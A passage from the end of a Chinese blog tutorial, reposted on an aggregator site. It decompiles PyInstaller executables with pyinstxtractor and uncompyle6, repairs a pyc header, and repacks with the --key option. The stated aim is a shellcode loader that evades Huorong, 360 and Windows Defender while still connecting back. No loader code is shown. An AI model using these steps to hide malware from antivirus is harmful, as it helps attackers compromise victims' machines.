将这两个文件单独拿出来,重复同样的操作

uncompyle6 get.pyc

将文件保存起来

这里就无法找到py_shell_fuzz中的内容了,那文件到底在哪呢?

我们将反编译之后的PYZ-00.pyz_extracted文件夹找到了该pyc文件

对该pyc文件直接进行解密

uncompyle6  py_shellcode_fuzz.pyc

报错,这里使用010 editor分析下pyc文件

通过与get.pyc对比发现,这里少了4个字节,因此需要对其进行补全

将文件保存为new_py_shell.pyc

再对其进行解密

uncompyle6  new_py_shell.pyc

再将文件保存起来

uncompyle6  new_py_shell.pyc > new_shell.py

此时该文件被完全解密

此时将文件使用VT查杀测试

VT 查杀

https://www.virustotal.com/gui/file-analysis/MWM3N2M3NmExNjhlZmZkMDNmZDZkMTY2MzU1YWZjMzI6MTYyMzk0MTQwMQ==/detection

8. pyinstaller使用key参数打包exe

在上文中pyinstaller中--key参数可以对依赖库进行了加密,因此在这里尝试使用--key参数重新打包一下

pyinstaller -F --key crowcrow --noconsole test.py

直接在dist文件夹下尝试获取pyc文件

python pyinstxtractor.py test.exe

这里该失败的失败,该成功的成功

同样的手法,对下面箭头的文件进行解密

得到文件final.pyc

uncompyle6 final.pyc

这里和上面的也是一样的,显示从py_shellcode_fuzz中调用了shell函数。那就去同样的位置去找py_shellcode_fuzz.pyc文件。

但是这里可以看到py_shellcode_fuzz.pyc已经被加密变成了py_shellcode_fuzz.pyc.encrypted文件格式。

将该文件使用010 editor打开,通过对比发现,该文件已经被加密,无法使用uncompyle6对其进行解密,当然这个文件依旧可以解密,但是解密成本要远高于目前的手法。

此时对原来的文件双击测试

依旧可以上线

VT查杀:

https://www.virustotal.com/gui/file/c2b081a565dbd4848eff43a9bae0da4da5cd8945f12b053470484cdb2df838fc/detection

9. 总结

本文使用了最基本的shellcode加载器免杀的方法,而且一起学习了pyinstaller打包exe的反编译方式,也顺便免杀了火绒、360、Windows Defender,当然从该文章发出来的那一刻起,可能免杀就不再有效了,不过,方法千千万,免杀没有那么难。

微信公众号:乌鸦安全

 

扫取二维码获取更多信息!

最后

以上就是聪明大神最近收集整理的关于pyinstaller打包逆向分析,顺便免杀Windows Defender1. python3利用shellcode免杀火绒2. 无av条件下使用3. shellcode免杀4. exe文件反编译5. 免杀exe反编译测试6. pyinstaller加密打包exe7. python打包的exe如何加密8. pyinstaller使用key参数打包exe9. 总结的全部内容,更多相关pyinstaller打包逆向分析,顺便免杀Windows内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(299)

评论列表共有 0 条评论

立即
投稿
返回
顶部